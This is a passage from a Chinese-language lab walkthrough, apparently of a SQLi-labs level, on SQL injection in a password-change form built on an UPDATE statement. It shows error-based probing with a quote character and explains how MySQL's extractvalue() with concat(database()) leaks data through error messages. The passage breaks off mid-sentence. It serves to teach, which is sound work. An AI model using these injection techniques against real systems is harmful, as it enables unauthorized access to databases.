本关我们可以看到是一个修改密码的过程,利用的是update语句,与在用select时是一样的,我们仅需要将原先的闭合,构造自己的payload。
尝试报错
Username:admin
Password:1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
可以看到 admin'' 说明在对密码的处理过程中使用的是 ' 。
接下来利用盲注进行注入。
这里首先介绍一下如何使用extractvalue()函数进行报错注入。
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
select username from security.users where id=1 and (extractvalue('anything','/x/xx'));
使用concat()拼接 ‘ / ‘ 效果相同,下面语句是在’anything’中查询 位置是 /database()的内容
select username from security.users where id=1 and (extractvalue('anything',concat('/',(select database()))));
但这里也没有语法错误,不会报错,下面故意写入语法错误:
select username from security.users where id=1 and (extractvalu